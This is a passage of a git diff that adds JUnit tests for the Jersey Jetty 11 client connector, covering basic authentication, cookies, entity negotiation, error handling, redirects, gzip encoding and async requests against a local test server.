jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; + +import jakarta.inject.Singleton; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.eclipse.jetty.client.util.BasicAuthentication; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class AuthTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName()); + private static final String PATH = "test"; + + @Path("/test") + @Singleton + public static class AuthResource { + + int requestCount = 0; + + @GET + public String get(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return "GET"; + } + + @GET + @Path("filter") + public String getFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return "GET"; + } + + @POST + public String post(@Context HttpHeaders h, String e) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return e; + } + + @POST + @Path("filter") + public String postFilter(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + + @DELETE + public void delete(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + } + + @DELETE + @Path("filter") + public void deleteFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + } + + @DELETE + @Path("filter/withEntity") + public String deleteFilterWithEntity(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(AuthResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testAuthGet() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthPost() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST")); + assertEquals("POST", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthDelete() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().delete(); + assertEquals(response.getStatus(), 204); + client.close(); + } + +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java new file mode 100644 index 00000000000..7534d3d63c8 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java @@ -0,0 +1,121 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.Cookie; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.NewCookie; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.JerseyClient; +import org.glassfish.jersey.client.JerseyClientBuilder; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class CookieTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName()); + + @Path("/") + public static class CookieResource { + @GET + public Response get(@Context HttpHeaders h) { + Cookie c = h.getCookies().get("name"); + String e = (c == null) ? "NO-COOKIE" : c.getValue(); + return Response.ok(e) + .cookie(new NewCookie("name", "value")).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(CookieResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testCookieResource() { + ClientConfig config = new ClientConfig(); + config.connectorProvider(new JettyConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + client.close(); + } + + @Test + public void testDisabledCookies() { + ClientConfig cc = new ClientConfig(); + cc.property(JettyClientProperties.DISABLE_COOKIES, true); + cc.connectorProvider(new JettyConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("NO-COOKIE", r.request().get(String.class)); + + final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector(); + if (connector.getCookieStore() != null) { + assertTrue(connector.getCookieStore().getCookies().isEmpty()); + } else { + assertNull(connector.getCookieStore()); + } + client.close(); + } + + @Test + public void testCookies() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new JettyConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + + final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector(); + assertNotNull(connector.getCookieStore().getCookies()); + assertEquals(1, connector.getCookieStore().getCookies().size()); + assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue()); + client.close(); + } +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java new file mode 100644 index 00000000000..48f51a17b03 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java @@ -0,0 +1,70 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.io.IOException; + +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.ContainerResponseContext; +import jakarta.ws.rs.container.ContainerResponseFilter; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Custom logging filter. + * + * @author Santiago Pericas-Geertsen (santiago.pericasgeertsen at oracle.com) + */ +public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter, + ClientRequestFilter, ClientResponseFilter { + + static int preFilterCalled = 0; + static int postFilterCalled = 0; + + @Override + public void filter(ClientRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + postFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getProperty("foo")); + postFilterCalled++; + } +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java new file mode 100644 index 00000000000..22f50d3942a --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java @@ -0,0 +1,158 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import jakarta.xml.bind.annotation.XmlRootElement; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +// import org.glassfish.jersey.jackson.JacksonFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Tests the Http content negotiation. + * + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class EntityTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class EntityResource { + + @GET + public Person get() { + return new Person("John", "Doe"); + } + + @POST + public Person post(Person entity) { + return entity; + } + + } + + @XmlRootElement + public static class Person { + + private String firstName; + private String lastName; + + public Person() { + } + + public Person(String firstName, String lastName) { + this.firstName = firstName; + this.lastName = lastName; + } + + public String getFirstName() { + return firstName; + } + + public void setFirstName(String firstName) { + this.firstName = firstName; + } + + public String getLastName() { + return lastName; + } + + public void setLastName(String lastName) { + this.lastName = lastName; + } + + @Override + public String toString() { + return firstName + " " + lastName; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(EntityResource.class/*, JacksonFeature.class*/); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + //.register(/*JacksonFeature.class*/); + } + + @Test + public void testGet() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPost() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe"))); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe"))); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async() + .post(Entity.xml(new Person("John", "Doe"))).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe"))) + .get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java new file mode 100644 index 00000000000..a85cbc578e8 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java @@ -0,0 +1,124 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.logging.Logger; + +import jakarta.ws.rs.ClientErrorException; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class ErrorTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName()); + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(ErrorResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + + @Path("/test") + public static class ErrorResource { + @POST + public Response post(String entity) { + return Response.serverError().build(); + } + + @Path("entity") + @POST + public Response postWithEntity(String entity) { + return Response.serverError().entity("error").build(); + } + } + + @Test + public void testPostError() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + } + } + } + + @Test + public void testPostErrorWithEntity() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } + + @Test + public void testPostErrorAsync() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().async().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + } + } + } + + @Test + public void testPostErrorWithEntityAsync() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().async().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java new file mode 100644 index 00000000000..d1a91cd0db5 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java @@ -0,0 +1,142 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.io.IOException; +import java.net.URI; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Jetty connector follow redirect tests. + * + * @author Martin Matula + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Marek Potociar + */ +public class FollowRedirectsTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName()); + + @Path("/test") + public static class RedirectResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("redirect") + public Response redirect() { + return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(RedirectResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.property(ClientProperties.FOLLOW_REDIRECTS, false); + config.connectorProvider(new JettyConnectorProvider()); + } + + private static class RedirectTestFilter implements ClientResponseFilter { + public static final String RESOLVED_URI_HEADER = "resolved-uri"; + + @Override + public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException { + if (responseContext instanceof ClientResponse) { + ClientResponse clientResponse = (ClientResponse) responseContext; + responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString()); + } + } + } + + @Test + public void testDoFollow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JettyConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + Response r = t.path("test/redirect") + .register(RedirectTestFilter.class) + .request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); +// TODO uncomment as part of JERSEY-2388 fix. +// assertEquals( +// UriBuilder.fromUri(getBaseUri()).path(RedirectResource.class).build().toString(), +// r.getHeaderString(RedirectTestFilter.RESOLVED_URI_HEADER)); + + c.close(); + } + + @Test + public void testDoFollowPerRequestOverride() { + WebTarget t = target("test/redirect"); + t.property(ClientProperties.FOLLOW_REDIRECTS, true); + Response r = t.request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testDontFollow() { + WebTarget t = target("test/redirect"); + assertEquals(303, t.request().get().getStatus()); + } + + @Test + public void testDontFollowPerRequestOverride() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JettyConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget t = client.target(u); + t.property(ClientProperties.FOLLOW_REDIRECTS, false); + Response r = t.path("test/redirect").request().get(); + assertEquals(303, r.getStatus()); + client.close(); + } +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java new file mode 100644 index 00000000000..727c389ef8c --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/GZIPContentEncodingTest.java @@ -0,0 +1,105 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.Arrays; +import java.util.logging.Logger; + +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.message.GZipEncoder; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class GZIPContentEncodingTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName()); + + @Path("/") + public static class Resource { + + @POST + public byte[] post(byte[] content) { + return content; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(Resource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(GZipEncoder.class); + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testPost() { + WebTarget r = target(); + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPostChunked() { + ClientConfig config = new ClientConfig(); + config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024); + config.connectorProvider(new JettyConnectorProvider()); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.text("POST")); + assertTrue(cr.hasEntity()); + cr.close(); + + client.close(); + } + +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java new file mode 100644 index 00000000000..4e9f09eb8e5 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java @@ -0,0 +1,225 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.InvocationCallback; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * + * @author Jakub Podlesak + */ +public class HelloWorldTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName()); + private static final String ROOT_PATH = "helloworld"; + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HelloWorldResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testConnection() { + Response response = target().path(ROOT_PATH).request("text/plain").get(); + assertEquals(200, response.getStatus()); + } + + @Test + public void testClientStringResponse() { + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + } + + @Test + public void testAsyncClientRequests() throws InterruptedException { + final int REQUESTS = 20; + final CountDownLatch latch = new CountDownLatch(REQUESTS); + final long tic = System.currentTimeMillis(); + for (int i = 0; i < REQUESTS; i++) { + final int id = i; + target().path(ROOT_PATH).request().async().get(new InvocationCallback() { + @Override + public void completed(Response response) { + try { + final String result = response.readEntity(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, result); + } finally { + latch.countDown(); + } + } + + @Override + public void failed(Throwable error) { + error.printStackTrace(); + latch.countDown(); + } + }); + } + latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS); + final long toc = System.currentTimeMillis(); + Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic)); + } + + @Test + public void testHead() { + Response response = target().path(ROOT_PATH).request().head(); + assertEquals(200, response.getStatus()); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + } + + @Test + public void testFooBarOptions() { + Response response = 